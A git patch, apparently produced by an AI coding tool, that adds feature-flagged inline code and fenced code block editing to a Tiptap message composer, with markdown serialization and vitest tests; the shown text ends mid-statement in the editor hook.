From 8112df4489543c9595d74b86da9e36d220338a94 Mon Sep 17 00:00:00 2001 From: kliment-slice Date: Fri, 17 Jul 2026 02:20:15 -0500 Subject: [PATCH 1/2] feat(composer): inline code quotes and fenced code blocks behind a flag MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds backtick quoting to the message composer, gated by the posthog-code-prompt-code-blocks feature flag (dev builds bypass it): - `inline code` styles as a code chip the moment the trailing backtick is typed; ArrowRight exits the mark. - ``` + Shift+Enter opens a fenced code block (optionally ```lang). Shift+Enter inside adds newlines; the stock space/enter input rules are disabled so Shift+Enter is the only trigger. - Enter always submits, regardless of cursor position — including inside a code block. Only Shift+Enter makes a line. - Arrow keys move in and out of the block; a custom ArrowUp escape mirrors Tiptap's exitOnArrowDown for a block at the top of the doc. - Content serializes to standard markdown (backticks/fences) so the model sees the quoted content verbatim and the chat thread renders it as code; drafts round-trip fences without corrupting whitespace. Flag created in PostHog project 2 (#766905), active at 0% rollout. Generated-By: PostHog Code Task-Id: 6340d9d8-aa7e-43e6-b1de-c99c8b52c738 --- packages/shared/src/flags.ts | 2 + packages/ui/package.json | 1 + .../components/PromptInput.test.tsx | 4 + .../message-editor/components/PromptInput.tsx | 5 + .../components/message-editor.css | 30 +++ .../tiptap/CodeBlockArrowExit.ts | 39 ++++ .../message-editor/tiptap/codeFence.test.ts | 97 ++++++++ .../message-editor/tiptap/codeFence.ts | 80 +++++++ .../message-editor/tiptap/extensions.test.ts | 31 +++ .../message-editor/tiptap/extensions.ts | 21 +- .../tiptap/useDraftSync.serialization.test.ts | 144 ++++++++++++ .../message-editor/tiptap/useDraftSync.ts | 208 +++++++++++++++--- .../message-editor/tiptap/useTiptapEditor.ts | 55 ++++- pnpm-lock.yaml | 33 +-- 14 files changed, 706 insertions(+), 44 deletions(-) create mode 100644 packages/ui/src/features/message-editor/tiptap/CodeBlockArrowExit.ts create mode 100644 packages/ui/src/features/message-editor/tiptap/codeFence.test.ts create mode 100644 packages/ui/src/features/message-editor/tiptap/codeFence.ts create mode 100644 packages/ui/src/features/message-editor/tiptap/extensions.test.ts create mode 100644 packages/ui/src/features/message-editor/tiptap/useDraftSync.serialization.test.ts diff --git a/packages/shared/src/flags.ts b/packages/shared/src/flags.ts index d692da1fda..a65ace465e 100644 --- a/packages/shared/src/flags.ts +++ b/packages/shared/src/flags.ts @@ -21,3 +21,5 @@ export const GLM_MODEL_FLAG = "posthog-code-glm-model"; export const SPOKEN_NARRATION_FLAG = "posthog-code-spoken-narration"; // Gates importing and relaying local MCP servers into cloud task runs. export const LOCAL_MCP_IMPORT_FLAG = "posthog-code-local-mcp-import"; +/** Gates inline-code and fenced-code-block rendering in the message composer. */ +export const PROMPT_CODE_BLOCKS_FLAG = "posthog-code-prompt-code-blocks"; diff --git a/packages/ui/package.json b/packages/ui/package.json index a93ec5c3a5..f1fc56c51e 100644 --- a/packages/ui/package.json +++ b/packages/ui/package.json @@ -70,6 +70,7 @@ "@tanstack/react-router-devtools": "catalog:", "@tanstack/react-virtual": "^3.13.26", "@tiptap/core": "^3.13.0", + "@tiptap/extension-code-block": "^3.13.0", "@tiptap/extension-mention": "^3.13.0", "@tiptap/extension-placeholder": "^3.13.0", "@tiptap/pm": "^3.13.0", diff --git a/packages/ui/src/features/message-editor/components/PromptInput.test.tsx b/packages/ui/src/features/message-editor/components/PromptInput.test.tsx index e56f646a67..ed0e78efe6 100644 --- a/packages/ui/src/features/message-editor/components/PromptInput.test.tsx +++ b/packages/ui/src/features/message-editor/components/PromptInput.test.tsx @@ -38,6 +38,10 @@ vi.mock("../../skills/useSkills", () => ({ useSkills: () => ({ data: [] }), })); +vi.mock("@posthog/ui/features/feature-flags/useFeatureFlag", () => ({ + useFeatureFlag: () => false, +})); + vi.mock("../draftStore", () => ({ useDraftStore: Object.assign( (selector: (s: unknown) => unknown) => diff --git a/packages/ui/src/features/message-editor/components/PromptInput.tsx b/packages/ui/src/features/message-editor/components/PromptInput.tsx index a50af3c624..09d63e4a55 100644 --- a/packages/ui/src/features/message-editor/components/PromptInput.tsx +++ b/packages/ui/src/features/message-editor/components/PromptInput.tsx @@ -2,7 +2,9 @@ import "./message-editor.css"; import type { SessionConfigOption } from "@agentclientprotocol/sdk"; import { ArrowUp, Stop } from "@phosphor-icons/react"; import { InputGroup, InputGroupAddon, InputGroupButton } from "@posthog/quill"; +import { PROMPT_CODE_BLOCKS_FLAG } from "@posthog/shared"; import { SHORTCUTS } from "@posthog/ui/features/command/keyboard-shortcuts"; +import { useFeatureFlag } from "@posthog/ui/features/feature-flags/useFeatureFlag"; import type { PromptRecallHandler } from "@posthog/ui/features/sessions/components/chat-thread/composerPromptRecall"; import { cycleModeOption } from "@posthog/ui/features/sessions/sessionStore"; import { useSettingsStore } from "@posthog/ui/features/settings/settingsStore"; @@ -155,6 +157,8 @@ export const PromptInput = forwardRef( const clearFocusRequest = useDraftStore((s) => s.actions.clearFocusRequest); const slotMachineMode = useSettingsStore((s) => s.slotMachineMode); const { data: skills } = useSkills(); + const codeBlocksEnabled = + useFeatureFlag(PROMPT_CODE_BLOCKS_FLAG) || import.meta.env.DEV; const { editor, @@ -189,6 +193,7 @@ export const PromptInput = forwardRef( bashMode: enableBashMode, commands: enableCommands, }, + codeBlocks: codeBlocksEnabled, getPromptHistory, onPromptRecall, onBeforeSubmit, diff --git a/packages/ui/src/features/message-editor/components/message-editor.css b/packages/ui/src/features/message-editor/components/message-editor.css index fb2b3cff2e..e97c7dae12 100644 --- a/packages/ui/src/features/message-editor/components/message-editor.css +++ b/packages/ui/src/features/message-editor/components/message-editor.css @@ -12,6 +12,36 @@ display: inline; } +/* Inline code quote (`text`) and fenced code block (``` + Enter) */ +.cli-editor code.composer-inline-code { + font-family: var(--font-mono); + font-size: 12px; + background: var(--gray-a3); + border: 1px solid var(--gray-a5); + border-radius: 3px; + padding: 0 3px; +} + +.cli-editor pre.composer-code-block { + font-family: var(--font-mono); + font-size: 12px; + background: var(--gray-a2); + border: 1px solid var(--gray-a4); + border-radius: 6px; + padding: 6px 8px; + margin: 4px 0; + white-space: pre; + overflow-x: auto; +} + +.cli-editor pre.composer-code-block code { + font-family: inherit; + font-size: inherit; + background: transparent; + border: none; + padding: 0; +} + /* Editor scrollbar - slim, transparent track, hugs right edge */ .cli-editor-scroll::-webkit-scrollbar { width: 6px; diff --git a/packages/ui/src/features/message-editor/tiptap/CodeBlockArrowExit.ts b/packages/ui/src/features/message-editor/tiptap/CodeBlockArrowExit.ts new file mode 100644 index 0000000000..6bff08e1c9 --- /dev/null +++ b/packages/ui/src/features/message-editor/tiptap/CodeBlockArrowExit.ts @@ -0,0 +1,39 @@ +import { Extension } from "@tiptap/core"; +import { TextSelection } from "@tiptap/pm/state"; + +/** + * Escape hatch for a fenced code block sitting at the very top of the doc: + * ArrowUp on the block's first line inserts an empty paragraph above and + * moves the caret there. Mirrors CodeBlock's built-in `exitOnArrowDown`, + * which Tiptap ships no upward counterpart for. + */ +export const CodeBlockArrowExit = Extension.create({ + name: "codeBlockArrowExit", + + addKeyboardShortcuts() { + return { + ArrowUp: ({ editor }) => { + const { selection, schema } = editor.state; + if (!selection.empty) return false; + const { $from } = selection; + if ($from.parent.type.name !== "codeBlock") return false; + // Only when the block is the doc's first child and the caret is on + // the first visual line, so plain in-block navigation still works. + if ($from.index(0) !== 0) return false; + if (!editor.view.endOfTextblock("up")) return false; + + const paragraph = schema.nodes.paragraph.createAndFill(); + if (!paragraph) return false; + + return editor.commands.command(({ tr, dispatch }) => { + if (dispatch) { + tr.insert(0, paragraph); + tr.setSelection(TextSelection.create(tr.doc, 1)); + tr.scrollIntoView(); + } + return true; + }); + }, + }; + }, +}); diff --git a/packages/ui/src/features/message-editor/tiptap/codeFence.test.ts b/packages/ui/src/features/message-editor/tiptap/codeFence.test.ts new file mode 100644 index 0000000000..56fab2aa94 --- /dev/null +++ b/packages/ui/src/features/message-editor/tiptap/codeFence.test.ts @@ -0,0 +1,97 @@ +import { Editor } from "@tiptap/core"; +import { afterEach, describe, expect, it } from "vitest"; +import { convertFenceLine, findCodeFenceLine } from "./codeFence"; +import { getEditorExtensions } from "./extensions"; + +let editor: Editor; + +function buildEditor(content: string) { + editor = new Editor({ + extensions: getEditorExtensions({ + sessionId: "test-session", + fileMentions: false, + issueMentions: false, + commands: false, + codeBlocks: true, + }), + content, + }); + editor.commands.focus("end"); + return editor; +} + +afterEach(() => { + editor?.destroy(); +}); + +describe("findCodeFenceLine", () => { + it("matches a fence opening the paragraph", () => { + buildEditor("

```js

"); + const fence = findCodeFenceLine(editor.view); + expect(fence).toMatchObject({ language: "js", afterHardBreak: false }); + }); + + it("matches a fence on the line after a hard break", () => { + buildEditor("

some text
```

"); + const fence = findCodeFenceLine(editor.view); + expect(fence).toMatchObject({ language: "", afterHardBreak: true }); + }); + + it.each([ + { name: "text before the fence on the same line", html: "

text ```

" }, + { name: "no fence at all", html: "

hello

" }, + { name: "a quadruple backtick run", html: "

````

" }, + ])("returns null for $name", ({ html }) => { + buildEditor(html); + expect(findCodeFenceLine(editor.view)).toBeNull(); + }); +}); + +describe("convertFenceLine", () => { + it("converts a fence after a hard break into a code block after the paragraph", () => { + buildEditor("

some text
```py

"); + + expect(convertFenceLine(editor.view)).toBe(true); + + const json = editor.getJSON(); + expect(json.content).toEqual([ + { type: "paragraph", content: [{ type: "text", text: "some text" }] }, + { type: "codeBlock", attrs: { language: "py" } }, + // StarterKit's TrailingNode keeps a paragraph after the block. + { type: "paragraph" }, + ]); + // Caret ends up inside the new code block. + expect(editor.state.selection.$from.parent.type.name).toBe("codeBlock"); + }); + + it("converts a paragraph-opening fence in place", () => { + buildEditor("

```js

"); + + expect(convertFenceLine(editor.view)).toBe(true); + + expect(editor.getJSON().content).toEqual([ + { type: "codeBlock", attrs: { language: "js" } }, + { type: "paragraph" }, + ]); + expect(editor.state.selection.$from.parent.type.name).toBe("codeBlock"); + }); + + it("does nothing when the line is not a fence", () => { + buildEditor("

text ```

"); + expect(convertFenceLine(editor.view)).toBe(false); + }); +}); + +describe("space after ```", () => { + it("does not create a code block (Enter is the only trigger)", () => { + buildEditor("

```

"); + const { view } = editor; + const handled = view.someProp("handleTextInput", (f) => + f(view, view.state.selection.from, view.state.selection.to, " ", () => + view.state.tr.insertText(" "), + ), + ); + expect(handled ?? false).toBe(false); + expect(editor.getJSON().content?.[0]?.type).toBe("paragraph"); + }); +}); diff --git a/packages/ui/src/features/message-editor/tiptap/codeFence.ts b/packages/ui/src/features/message-editor/tiptap/codeFence.ts new file mode 100644 index 0000000000..24289df488 --- /dev/null +++ b/packages/ui/src/features/message-editor/tiptap/codeFence.ts @@ -0,0 +1,80 @@ +import { TextSelection } from "@tiptap/pm/state"; +import type { EditorView } from "@tiptap/pm/view"; + +export function inCodeBlock(view: EditorView): boolean { + return view.state.selection.$from.parent.type.spec.code === true; +} + +interface CodeFenceLine { + language: string; + /** Doc position where the fence text starts, including the preceding hard break. */ + deleteFrom: number; + /** The fence follows a Shift+Enter hard break rather than opening the paragraph. */ + afterHardBreak: boolean; +} + +// Caret at the end of a paragraph whose current line (after the last hard +// break, or the whole paragraph) is a ``` fence opener. +export function findCodeFenceLine(view: EditorView): CodeFenceLine | null { + const { $from, empty } = view.state.selection; + if (!empty) return null; + const parent = $from.parent; + if (parent.type.name !== "paragraph") return null; + if ($from.parentOffset !== parent.content.size) return null; + + let lineStartOffset = 0; + let afterHardBreak = false; + parent.forEach((child, offset) => { + if (child.type.name === "hardBreak") { + lineStartOffset = offset + child.nodeSize; + afterHardBreak = true; + } + }); + // Atoms (mention chips) on the line show up as the replacement char and + // fail the match, so a chip-bearing line is never treated as a fence. + const lineText = parent.textBetween( + lineStartOffset, + parent.content.size, + undefined, + "", + ); + const match = /^```(\w*)$/.exec(lineText); + if (!match) return null; + const lineStartPos = $from.start() + lineStartOffset; + return { + language: match[1], + deleteFrom: afterHardBreak ? lineStartPos - 1 : lineStartPos, + afterHardBreak, + }; +} + +// Shift+Enter on a ``` fence line converts it to a code block. The stock +// input rules are disabled (they fire on "``` " with a space or Enter, and +// only match a fence that opens the paragraph), so both cases are handled +// here: a paragraph-opening fence converts in place, and a fence typed after +// a hard break strips the break + fence and opens a code block right after +// the paragraph. +export function convertFenceLine(view: EditorView): boolean { + const fence = findCodeFenceLine(view); + if (!fence) return false; + const codeBlockType = view.state.schema.nodes.codeBlock; + if (!codeBlockType) return false; + const attrs = { language: fence.language || null }; + + const { $from } = view.state.selection; + const tr = view.state.tr.delete(fence.deleteFrom, $from.pos); + + if (fence.afterHardBreak) { + const codeBlock = codeBlockType.createAndFill(attrs); + if (!codeBlock) return false; + const afterParagraph = tr.mapping.map($from.after()); + tr.insert(afterParagraph, codeBlock); + tr.setSelection(TextSelection.create(tr.doc, afterParagraph + 1)); + } else { + tr.setBlockType(fence.deleteFrom, fence.deleteFrom, codeBlockType, attrs); + } + + tr.scrollIntoView(); + view.dispatch(tr); + return true; +} diff --git a/packages/ui/src/features/message-editor/tiptap/extensions.test.ts b/packages/ui/src/features/message-editor/tiptap/extensions.test.ts new file mode 100644 index 0000000000..3f06c0e97f --- /dev/null +++ b/packages/ui/src/features/message-editor/tiptap/extensions.test.ts @@ -0,0 +1,31 @@ +import { Editor } from "@tiptap/core"; +import { describe, expect, it } from "vitest"; +import { getEditorExtensions } from "./extensions"; + +function buildEditor(codeBlocks: boolean) { + return new Editor({ + extensions: getEditorExtensions({ + sessionId: "test-session", + fileMentions: false, + issueMentions: false, + commands: false, + codeBlocks, + }), + }); +} + +describe("getEditorExtensions", () => { + it("includes the code mark and codeBlock node when codeBlocks is on", () => { + const editor = buildEditor(true); + expect(editor.schema.marks.code).toBeDefined(); + expect(editor.schema.nodes.codeBlock).toBeDefined(); + editor.destroy(); + }); + + it("excludes the code mark and codeBlock node when codeBlocks is off", () => { + const editor = buildEditor(false); + expect(editor.schema.marks.code).toBeUndefined(); + expect(editor.schema.nodes.codeBlock).toBeUndefined(); + editor.destroy(); + }); +}); diff --git a/packages/ui/src/features/message-editor/tiptap/extensions.ts b/packages/ui/src/features/message-editor/tiptap/extensions.ts index 64330e77ba..2c369c0c16 100644 --- a/packages/ui/src/features/message-editor/tiptap/extensions.ts +++ b/packages/ui/src/features/message-editor/tiptap/extensions.ts @@ -1,16 +1,28 @@ +import CodeBlock from "@tiptap/extension-code-block"; import Placeholder from "@tiptap/extension-placeholder"; import StarterKit from "@tiptap/starter-kit"; +import { CodeBlockArrowExit } from "./CodeBlockArrowExit"; import { createCommandMention } from "./CommandMention"; import { createFileMention } from "./FileMention"; import { createIssueMention } from "./IssueMention"; import { MentionChipNode } from "./MentionChipNode"; +// The stock CodeBlock input rules convert "``` " (trailing space) as well as +// Enter; the composer only creates a fence on Shift+Enter (handled in +// useTiptapEditor via convertFenceLine), so drop them entirely. +const ComposerCodeBlock = CodeBlock.extend({ + addInputRules() { + return []; + }, +}).configure({ HTMLAttributes: { class: "composer-code-block" } }); + export interface EditorExtensionsOptions { sessionId: string; placeholder?: string; fileMentions?: boolean; issueMentions?: boolean; commands?: boolean; + codeBlocks?: boolean; } export function getEditorExtensions(options: EditorExtensionsOptions) { @@ -20,6 +32,7 @@ export function getEditorExtensions(options: EditorExtensionsOptions) { fileMentions = true, issueMentions = true, commands = true, + codeBlocks = false, } = options; const extensions = [ @@ -34,12 +47,18 @@ export function getEditorExtensions(options: EditorExtensionsOptions) { bold: false, italic: false, strike: false, - code: false, + code: codeBlocks + ? { HTMLAttributes: { class: "composer-inline-code" } } + : false, }), Placeholder.configure({ placeholder }), MentionChipNode, ]; + if (codeBlocks) { + extensions.push(ComposerCodeBlock, CodeBlockArrowExit); + } + if (fileMentions) { extensions.push(createFileMention(sessionId)); } diff --git a/packages/ui/src/features/message-editor/tiptap/useDraftSync.serialization.test.ts b/packages/ui/src/features/message-editor/tiptap/useDraftSync.serialization.test.ts new file mode 100644 index 0000000000..997d403345 --- /dev/null +++ b/packages/ui/src/features/message-editor/tiptap/useDraftSync.serialization.test.ts @@ -0,0 +1,144 @@ +import type { EditorContent } from "@posthog/core/message-editor/content"; +import type { JSONContent } from "@tiptap/core"; +import { describe, expect, it, vi } from "vitest"; + +vi.mock("@posthog/ui/shell/rendererStorage", () => ({ + electronStorage: { + getItem: () => null, + setItem: () => {}, + removeItem: () => {}, + }, +})); + +import { + editorContentToTiptapJson, + tiptapJsonToEditorContent, +} from "./useDraftSync"; + +function doc(...content: JSONContent[]): JSONContent { + return { type: "doc", content }; +} + +function p(...content: JSONContent[]): JSONContent { + return { type: "paragraph", content }; +} + +function text(value: string): JSONContent { + return { type: "text", text: value }; +} + +function code(value: string): JSONContent { + return { type: "text", text: value, marks: [{ type: "code" }] }; +} + +function codeBlock( + content: string, + language: string | null = null, +): JSONContent { + return { + type: "codeBlock", + attrs: { language }, + content: content ? [{ type: "text", text: content }] : undefined, + }; +} + +function toText(content: EditorContent): string { + return content.segments + .map((seg) => (seg.type === "text" ? seg.text : `@${seg.chip.label}`)) + .join(""); +} + +describe("tiptapJsonToEditorContent", () => { + it.each([ + { + name: "wraps an inline code mark in backticks", + json: doc(p(text("run "), code("pnpm dev"), text(" now"))), + expected: "run `pnpm dev` now", + }, + { + name: "merges adjacent code-marked text nodes into one span", + json: doc(p(code("pnpm"), code(" dev"))), + expected: "`pnpm dev`", + }, + { + name: "lengthens the delimiter for code containing a backtick", + json: doc(p(code("a`b"))), + expected: "``a`b``", + }, + { + name: "pads code starting or ending with a backtick", + json: doc(p(code("`a"))), + expected: "`` `a ``", + }, + { + name: "serializes a code block as a markdown fence", + json: doc(codeBlock("const x = 1;\nconst y = 2;")), + expected: "```\nconst x = 1;\nconst y = 2;\n```", + }, + { + name: "includes the language on the fence line", + json: doc(codeBlock("print(1)", "python")), + expected: "```python\nprint(1)\n```", + }, + { + name: "preserves blank lines inside a code block", + json: doc(codeBlock("a\n\nb")), + expected: "```\na\n\nb\n```", + }, + { + name: "lengthens the fence when the code contains triple backticks", + json: doc(codeBlock("say ```hi```")), + expected: "````\nsay ```hi```\n````", + }, + { + name: "separates code blocks from paragraphs with blank lines", + json: doc(p(text("before")), codeBlock("code", "js"), p(text("after"))), + expected: "before\n\n```js\ncode\n```\n\nafter", + }, + ])("$name", ({ json, expected }) => { + expect(toText(tiptapJsonToEditorContent(json))).toBe(expected); + }); +}); + +describe("editorContentToTiptapJson with codeBlocks", () => { + it.each([ + { + name: "paragraphs around a fenced block", + json: doc(p(text("before")), codeBlock("code", "js"), p(text("after"))), + }, + { + name: "a lone code block with blank lines and no trailing paragraph", + json: doc(codeBlock("a\n\nb")), + }, + { + name: "inline code within a paragraph", + json: doc(p(text("run "), code("pnpm dev"), text(" now"))), + }, + { + name: "a code block followed by a paragraph with inline code", + json: doc(codeBlock("x = 1", "python"), p(text("then "), code("y"))), + }, + ])("round-trips $name", ({ json }) => { + const content = tiptapJsonToEditorContent(json); + expect(editorContentToTiptapJson(content, { codeBlocks: true })).toEqual( + json, + ); + }); + + it("keeps fences as plain text when codeBlocks is off", () => { + const content: EditorContent = { + segments: [{ type: "text", text: "```\ncode\n```" }], + }; + const json = editorContentToTiptapJson(content, { codeBlocks: false }); + expect(JSON.stringify(json)).not.toContain('"codeBlock"'); + expect(JSON.stringify(json)).not.toContain('"marks"'); + }); + + it("does not treat inline backtick runs as fences", () => { + const content: EditorContent = { + segments: [{ type: "text", text: "not a ``` fence here" }], + }; + const json = editorContentToTiptapJson(content, { codeBlocks: true }); + expect(JSON.stringify(json)).not.toContain("codeBlock"); + }); +}); diff --git a/packages/ui/src/features/message-editor/tiptap/useDraftSync.ts b/packages/ui/src/features/message-editor/tiptap/useDraftSync.ts index a3072c47ff..a0895bb313 100644 --- a/packages/ui/src/features/message-editor/tiptap/useDraftSync.ts +++ b/packages/ui/src/features/message-editor/tiptap/useDraftSync.ts @@ -7,7 +7,37 @@ import { useDraftStore } from "@posthog/ui/features/message-editor/draftStore"; import type { Editor, JSONContent } from "@tiptap/core"; import { useCallback, useLayoutEffect, useRef, useState } from "react"; -function tiptapJsonToEditorContent(json: JSONContent): EditorContent { +function hasCodeMark(node: JSONContent): boolean { + return ( + node.type === "text" && !!node.marks?.some((mark) => mark.type === "code") + ); +} + +// Markdown code span per CommonMark: content with backticks needs a longer +// delimiter run, and a space pad when it starts or ends with a backtick. +function serializeInlineCode(text: string): string { + if (!text.includes("`")) return `\`${text}\``; + const runs = text.match(/`+/g) ?? []; + const maxRun = runs.reduce((max, run) => Math.max(max, run.length), 0); + const delimiter = "`".repeat(maxRun + 1); + const pad = text.startsWith("`") || text.endsWith("`") ? " " : ""; + return `${delimiter}${pad}${text}${pad}${delimiter}`; +} + +// Markdown fenced block; the fence grows past any backtick run in the code. +function serializeCodeBlock(node: JSONContent): string { + const text = (node.content ?? []) + .map((child) => (child.type === "text" ? (child.text ?? "") : "")) + .join(""); + const runs = text.match(/`+/g) ?? []; + const maxRun = runs.reduce((max, run) => Math.max(max, run.length), 0); + const fence = "`".repeat(Math.max(3, maxRun + 1)); + const language = + typeof node.attrs?.language === "string" ? node.attrs.language : ""; + return `${fence}${language}\n${text}\n${fence}`; +} + +export function tiptapJsonToEditorContent(json: JSONContent): EditorContent { const segments: EditorContent["segments"] = []; const traverse = (node: JSONContent) => { @@ -30,6 +60,8 @@ function tiptapJsonToEditorContent(json: JSONContent): EditorContent { skillName: node.attrs.skillName, }, }); + } else if (node.type === "codeBlock") { + segments.push({ type: "text", text: serializeCodeBlock(node) }); } else if (node.type === "doc" && node.content) { // Add double newlines between paragraphs for markdown rendering // (single newlines in markdown become spaces, double newlines create paragraph breaks) @@ -40,8 +72,20 @@ function tiptapJsonToEditorContent(json: JSONContent): EditorContent { traverse(node.content[i]); } } else if (node.content) { - for (const child of node.content) { - traverse(child); + const children = node.content; + for (let i = 0; i < children.length; i++) { + if (hasCodeMark(children[i])) { + // Merge adjacent code-marked text nodes so a span the schema split + // apart serializes as one backticked run. + let text = children[i].text ?? ""; + while (i + 1 < children.length && hasCodeMark(children[i + 1])) { + i++; + text += children[i].text ?? ""; + } + segments.push({ type: "text", text: serializeInlineCode(text) }); + } else { + traverse(children[i]); + } } } }; @@ -50,33 +94,135 @@ function tiptapJsonToEditorContent(json: JSONContent): EditorContent { return { segments }; } -export function editorContentToTiptapJson(content: EditorContent): JSONContent { - const paragraphs: JSONContent[] = []; +type FencePart = + | { kind: "text"; text: string } + | { kind: "code"; language: string; code: string }; + +// A fence line, its content, and a matching closing fence — anchored to line +// starts so inline backtick runs never match. +const FENCED_BLOCK_REGEX = /(?:^|\n)(`{3,})(\w*)\n([\s\S]*?)\n\1(?=\n|$)/g; + +function splitFencedBlocks(text: string): FencePart[] { + const parts: FencePart[] = []; + let last = 0; + for (const match of text.matchAll(FENCED_BLOCK_REGEX)) { + const index = match.index ?? 0; + // Drop the "\n\n" block separator the serializer places around fences + // (the regex already consumed one of the two newlines). + const before = text.slice(last, index).replace(/\n$/, ""); + if (before) parts.push({ kind: "text", text: before }); + parts.push({ kind: "code", language: match[2], code: match[3] }); + last = index + match[0].length; + } + if (last === 0) return [{ kind: "text", text }]; + const rest = text.slice(last).replace(/^\n{1,2}/, ""); + if (rest) parts.push({ kind: "text", text: rest }); + return parts; +} + +const INLINE_CODE_REGEX = /`([^`\n]+)`/g; + +export interface EditorContentToTiptapJsonOptions { + /** + * Parse markdown backtick spans and ``` fences back into `code` marks and + * `codeBlock` nodes. Gate on the live editor schema + * (`!!editor.schema.nodes.codeBlock`), not the feature flag, so restoring a + * stored draft never references node types the editor doesn't have. + */ + codeBlocks?: boolean; +} + +export function editorContentToTiptapJson( + content: EditorContent, + options?: EditorContentToTiptapJsonOptions, +): JSONContent { + const parseCodeBlocks = options?.codeBlocks ?? false; + const blocks: JSONContent[] = []; let currentParagraphContent: JSONContent[] = []; + // A doc that ends with a code block shouldn't gain a trailing empty + // paragraph — it would re-serialize with a spurious "\n\n". + let closedByCodeBlock = false; const flushParagraph = () => { - paragraphs.push({ type: "paragraph", content: currentParagraphContent }); + blocks.push({ type: "paragraph", content: currentParagraphContent }); currentParagraphContent = []; + closedByCodeBlock = false; + }; + + const pushLineText = (line: string) => { + if (!parseCodeBlocks) { + currentParagraphContent.push({ type: "text", text: line }); + return; + } + let last = 0; + for (const match of line.matchAll(INLINE_CODE_REGEX)) { + const index = match.index ?? 0; + if (index > last) { + currentParagraphContent.push({ + type: "text", + text: line.slice(last, index), + }); + } + currentParagraphContent.push({ + type: "text", + text: match[1], + marks: [{ type: "code" }], + }); + last = index + match[0].length; + } + if (last < line.length) { + currentParagraphContent.push({ type: "text", text: line.slice(last) }); + } + }; + + const pushInlineText = (rawText: string) => { + // Swallow the "\n\n" block separator that follows a code block — the + // serializer emits it as its own text segment, and replaying it here + // would create a spurious empty paragraph. + const text = closedByCodeBlock ? rawText.replace(/^\n{1,2}/, "") : rawText; + closedByCodeBlock = false; + if (!text) return; + const paragraphParts = text.split("\n\n"); + for (let i = 0; i < paragraphParts.length; i++) { + if (i > 0) { + flushParagraph(); + } + const lineParts = paragraphParts[i].split(/ {2}\n|\n/); + for (let j = 0; j < lineParts.length; j++) { + if (j > 0) { + currentParagraphContent.push({ type: "hardBreak" }); + } + if (lineParts[j]) { + pushLineText(lineParts[j]); + } + } + } }; for (const seg of content.segments) { if (seg.type === "text") { - const paragraphParts = seg.text.split("\n\n"); - for (let i = 0; i < paragraphParts.length; i++) { - if (i > 0) { - flushParagraph(); - } - const lineParts = paragraphParts[i].split(/ {2}\n|\n/); - for (let j = 0; j < lineParts.length; j++) { - if (j > 0) { - currentParagraphContent.push({ type: "hardBreak" }); - } - if (lineParts[j]) { - currentParagraphContent.push({ type: "text", text: lineParts[j] }); + const parts = parseCodeBlocks + ? splitFencedBlocks(seg.text) + : [{ kind: "text" as const, text: seg.text }]; + for (const part of parts) { + if (part.kind === "code") { + if (currentParagraphContent.length > 0) { + flushParagraph(); } + blocks.push({ + type: "codeBlock", + attrs: { language: part.language || null }, + content: part.code + ? [{ type: "text", text: part.code }] + : undefined, + }); + closedByCodeBlock = true; + } else { + pushInlineText(part.text); } } } else { + closedByCodeBlock = false; currentParagraphContent.push({ type: "mentionChip", attrs: { @@ -92,15 +238,17 @@ export function editorContentToTiptapJson(content: EditorContent): JSONContent { } } - flushParagraph(); + if (currentParagraphContent.length > 0 || !closedByCodeBlock) { + flushParagraph(); + } - if (paragraphs.length === 0) { - paragraphs.push({ type: "paragraph", content: [] }); + if (blocks.length === 0) { + blocks.push({ type: "paragraph", content: [] }); } return { type: "doc", - content: paragraphs, + content: blocks, }; } @@ -163,7 +311,11 @@ export function useDraftSync( if (typeof draft === "string") { editor.commands.setContent(draft); } else { - editor.commands.setContent(editorContentToTiptapJson(draft)); + editor.commands.setContent( + editorContentToTiptapJson(draft, { + codeBlocks: !!editor.schema.nodes.codeBlock, + }), + ); } }, [hasHydrated, draft, editor]); @@ -171,7 +323,11 @@ export function useDraftSync( useLayoutEffect(() => { if (!editor || !pendingContent) return; - editor.commands.setContent(editorContentToTiptapJson(pendingContent)); + editor.commands.setContent( + editorContentToTiptapJson(pendingContent, { + codeBlocks: !!editor.schema.nodes.codeBlock, + }), + ); editor.commands.focus("end", { scrollIntoView: false }); draftActions.clearPendingContent(sessionId); }, [editor, pendingContent, sessionId, draftActions]); @@ -181,7 +337,9 @@ export function useDraftSync( editor.commands.focus("end"); editor.commands.insertContent( - editorContentToTiptapJson(pendingInsert).content ?? [], + editorContentToTiptapJson(pendingInsert, { + codeBlocks: !!editor.schema.nodes.codeBlock, + }).content ?? [], ); draftActions.clearPendingInsert(sessionId); }, [editor, pendingInsert, sessionId, draftActions]); diff --git a/packages/ui/src/features/message-editor/tiptap/useTiptapEditor.ts b/packages/ui/src/features/message-editor/tiptap/useTiptapEditor.ts index 1b11f8bbb8..628726d7d1 100644 --- a/packages/ui/src/features/message-editor/tiptap/useTiptapEditor.ts +++ b/packages/ui/src/features/message-editor/tiptap/useTiptapEditor.ts @@ -42,6 +42,7 @@ import { getGithubIssue, getGithubPullRequest } from "../hostApi"; import { usePasteUndoStore } from "../pasteUndoStore"; import { usePromptHistoryStore } from "../promptHistoryStore"; import { findChipRangeById } from "../tiptap/chipRange"; +import { convertFenceLine, inCodeBlock } from "../tiptap/codeFence"; import { getEditorExtensions } from "../tiptap/extensions"; import { type DraftContext, @@ -69,6 +70,7 @@ export interface UseTiptapEditorOptions { commands?: boolean; bashMode?: boolean; }; + codeBlocks?: boolean; clearOnSubmit?: boolean; getPromptHistory?: () => string[]; onPromptRecall?: PromptRecallHandler; @@ -259,6 +261,7 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { autoFocus = false, context, capabilities = {}, + codeBlocks = false, clearOnSubmit = true, getPromptHistory, onPromptRecall, @@ -339,6 +342,7 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { placeholder, fileMentions, commands, + codeBlocks, }), editable: !disabled, autofocus: autoFocus ? "end" : false, @@ -376,9 +380,47 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { return true; } + if ( + codeBlocks && + view.editable && + event.key === "Enter" && + event.shiftKey && + !event.metaKey && + !event.ctrlKey && + !event.altKey && + !hasVisibleSuggestionPopup(sessionId) + ) { + // Inside a code block, Shift+Enter adds a newline (Enter is + // reserved for submit; Tiptap's hard-break shortcut would + // otherwise exit the block via exitCode). + if (inCodeBlock(view)) { + event.preventDefault(); + view.dispatch(view.state.tr.insertText("\n").scrollIntoView()); + return true; + } + // Shift+Enter on a ``` fence line creates the code block (the + // only trigger — the stock space/enter input rules are + // disabled). On any other line Shift+Enter keeps its usual + // hard-break behavior. + if 